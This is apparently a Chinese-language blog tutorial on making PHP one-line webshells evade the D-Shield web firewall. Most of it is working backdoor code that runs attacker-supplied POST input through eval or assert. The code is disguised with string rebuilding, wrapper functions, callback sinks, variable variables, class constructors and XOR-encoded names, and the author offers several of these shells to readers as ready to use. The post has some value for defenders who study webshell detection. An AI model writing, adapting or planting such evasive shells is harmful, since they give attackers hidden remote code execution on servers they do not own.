webshell这个东西对于web方向的还是极其重要的,getshell被杀了很难受,于是来研究一波自己的免杀马儿,毕竟别人没有自己的好用,而且分享出来分分钟被杀。
(在本篇文章中将会介绍一些常用的木马免杀技巧)
『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情况下,越少的功能,服务器越安全的理念而设计!限制了常见的入侵方法,让服务器更安全!
这次主要是对php的一句话免杀实验
首先我们先看一下最常见的php一句话
<?php eval(@$_POST['a']); ?>
解析一下:
<?php assert(@$_POST['a']); ?>
原因:
php5和php7是有差异的
函数
说明
eval | PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行 |
assert | PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数 |
php5中assert是一个函数,我们可以通过$f='assert';$f(...);
这样的方法来动态执行任意代码。
php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。
相同点:二者都可以执行PHP语句。只不过是,eval规范更加严格一些,必须符合PHP代码要求。而assert则没有那么严格,执行PHP表达式即可。
简单点说就是: eval() 是一个语言构造器而不是一个函数,不能被可变函数调用 assert() 可以被可变函数调用,例如诸多的回调函数,这样就方便了许多
<?php
$func = $_GET["func"];
assert("$func()");
?>
# 这也是一个一句话,
assert是一个断言函数,当assert进行判断时,如果为false,则会发出Warning的提醒,但是依然会继续向下执行。对于调试很好,尤其是可以使用回调函数的时
候
如果对用户输入的数据过滤不严谨的话,assert的危害比eval还要大。
便需要结合不同编程语言要有不同的应对方式,我用php做实例,总的思路就是:要刨除代码和函数的关系,大体有以下几个思路:
单纯的字符串变化还是有可疑,我们还需要配合其他字符串变换
<?php
$a = substr_replace("xxser","asser",-3);
$aa = array('',$a);
$b = $aa[1].chr('116');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);
$cc($_POST['x']);
?>
函数特性里面我知道的有:
纯自定义函数还是可以绕过的
下面是送大家的免杀马,估计过几天就废了
<?php
function zeo($b){
return $b;
}
function ass($a){
return eval($a);
}
function post(){
return $_POST['x'];
}
function run(){
return zeo(ass)(zeo(post)());
}
zeo(ass)(zeo(post)());
?>
这个现在有点费劲了,找了下面这些
大部分都已经被拉黑了。。。单独用都得死
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
array_reduce()
array_walk()
array_walk_recursive()
filter_var()
filter_var_array()
uasort()
uksort()
registregister_shutdown_function()
register_tick_function()
forward_static_call_array(assert,array($_POST[x]));
<?php
function zeo($c,$d){
pj()($c,$d);
}
function pj(){
return "register_shut"."down_function";
}
$b=$_POST['x'];
zeo(assert,$b);
?>
考虑通过将要执行的一句话木马程序放到数组中执行达到绕过的目的
下面也是老样子,免杀马送上
<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x'])))));
?>
PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。例如:
$a = 'hello';
$$a = 'world';
echo $hello;
# 输出就是world
在上面这段代码中,第一行是一个普通的变量定义,变量名称为a,变量值为hello。
第二行使用变量a的值,定义了一个变量,这个变量的名字叫做hello(也就是a的值),值为world。
将这个变量输出之后的结果是:world。
<?php
$zeo='dalao';
$$zeo=$_POST['x'];
eval($dalao);
?>
不行了,这个已经有点问题了,那么只能把eval函数在再处理一下,要结合下面的特殊字符干扰
<?php
$zeo='dalao';
$$zeo=$_POST['x'];
eval(``.$dalao);
?>
类现在发现好多人在用,这个好像D盾检测的最轻,用类自然就少不了魔法函数,简单构造一个类的免杀马
<?php
class zeo2
{
public $b ='';
function post(){
return $_POST['x'];
}
}
class zeo extends zeo2
{
public $code=null;
function __construct(){
$code=parent::post();
assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>
主要思路就是:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
我送上一道之前做的题,异曲同工,很有意思。
<?php
@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
# “^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。
${$__}[!$_](${$___}[$_]);
?>
参考文章地址:https://blog.csdn.net/god_zzZ/article/details/112007388